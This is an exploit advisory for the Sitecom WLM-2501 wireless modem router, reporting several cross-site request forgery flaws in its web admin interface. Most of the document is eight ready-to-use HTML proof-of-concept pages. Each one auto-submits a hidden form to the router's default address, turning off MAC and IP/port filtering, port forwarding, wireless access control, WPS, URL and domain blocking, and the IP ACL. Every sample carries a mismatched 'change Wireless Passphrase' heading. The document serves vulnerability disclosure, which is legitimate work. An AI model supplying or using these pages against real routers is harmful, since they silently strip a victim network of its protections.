Sitecom WLM-2501 – Multiple Cross-Site Request Forgery Vulnerabilities
+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Sitecom WLM-2501 new Multiple CSRF Vulnerabilities # Date : 22-03-2012 # Author : Ivano Binetti (http://www.ivanobinetti.com) # Vendor site : http://www.sitecom.com/wireless-modem-router-300n/p/859 # Version : WLM-2501 # Tested on : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities) # Original Advisory: http://www.webapp-security.com/?p=75 +--------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction 2)Vulnerability Description 3)Exploit 3.1 Disable Mac Filtering 3.2 Disable IP/Port Filtering 3.3 Disable Port Forwarding 3.4 Disable Wireless Access Control 3.5 Disable Wi-Fi Protected Setup 3.6 Disable URL Blocking Filter 3.7 Disable Domain Blocking Filter 3.8 Disable IP Address ACL Filter +--------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80 - and "admin" as default administrator. His default ip address is 192.168.0.1. 2)Vulnerability Description The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change the following router's parameters: - Disable Mac Filtering - Disable/Modify IP/Port Filtering - Disable/Modify Port Forwarding - Disable/Modify Wireless Access Control - Disable Wi-Fi Protected Setup - Disable/Modify URL Blocking Filter - Disable/Modify Domain Blocking Filter - Disable/Modify IP Address ACL - Change Wireless Passphrase - Enable/Modify Remote Access (also on WAN interface) 3)Exploit 3.1 Disable Mac Filtering <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formFilter"> <input type="hidden" name="outAct" value="1"/> <input type="hidden" name="inAct" value="1"/> <input type="hidden" name="setMacDft" value="Apply"/> <input type="hidden" name="submit-url" value="/fw-macfilter.asp"/> </form> </body> </html> 3.2 Disable IP/Port Filtering <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/formFilter"> <input type="hidden" name="outAct" value="1"/> <input type="hidden" name="inAct" value="1"/> <input type="hidden" name="setDefaultAction" value="Apply"/> <input type="hidden" name="submit-url" value="/fw-ipportfilter.asp"/> </form> </body> </html> 3.3 Disable Port Forwarding <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/formPortFw"> <input type="hidden" name="portFwcap" value="0"/> <input type="hidden" name="apply" value="Apply"/> <input type="hidden" name="select_id" value=""/> <input type="hidden" name="submit-url" value="/fw-portfw.asp"/> </form> </body> </html> 3.4 Disable Wireless Access Control <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formWlAc"> <input type="hidden" name="wlanAcEnabled" value="0"/> <input type="hidden" name="setFilterMode" value="Apply"/> <input type="hidden" name="submit-url" value="/wlactrl.asp"/> </form> </body> </html> 3.5 Disable Wi-Fi Protected Setup <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/formWsc"> <input type="hidden" name="wlanDisabled" value="OFF"/> <input type="hidden" name="disableWPS" value="ON"/> <input type="hidden" name="submit-url" value="/wlwps.asp"/> <input type="hidden" name="save" value="Apply"/> </form> </body> </html> 3.6 Disable URL Blocking Filter <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/formURL"> <input type="hidden" name="urlcap" value="0"/> <input type="hidden" name="apply" value="Apply"/> <input type="hidden" name="urlFQDN" value=""/> <input type="hidden" name="Keywd" value=""/> <input type="hidden" name="submit-url" value="/url_blocking.asp"/> </form> </body> </html> 3.7 Disable Domain Blocking Filter <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/formDOMAINBLK"> <input type="hidden" name="domainblkcap" value="0"/> <input type="hidden" name="apply" value="Apply"/> <input type="hidden" name="blkDomain" value=""/> <input type="hidden" name="submit-url" value="/domainblk.asp"/> </form> </body> </html> 3.8 Disable IP Address ACL Filter <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change Wireless Passphrase</H2> <form method="POST" name="form0" action="http://192.168.0.1:80/goform/admin/formACL"> <input type="hidden" name="lan_ip" value="192.168.0.1"/> <input type="hidden" name="lan_mask" value="255.255.255.0"/> <input type="hidden" name="aclcap" value="0"/> <input type="hidden" name="apply" value="Apply"/> <input type="hidden" name="enable" value="1"/> <input type="hidden" name="interface" value="0"/> <input type="hidden" name="aclIP" value=""/> <input type="hidden" name="aclMask" value=""/> <input type="hidden" name="submit-url" value="/acl.asp"/> </form> </body> </html> +--------------------------------------------------------------------------------------------------------------------------------+ |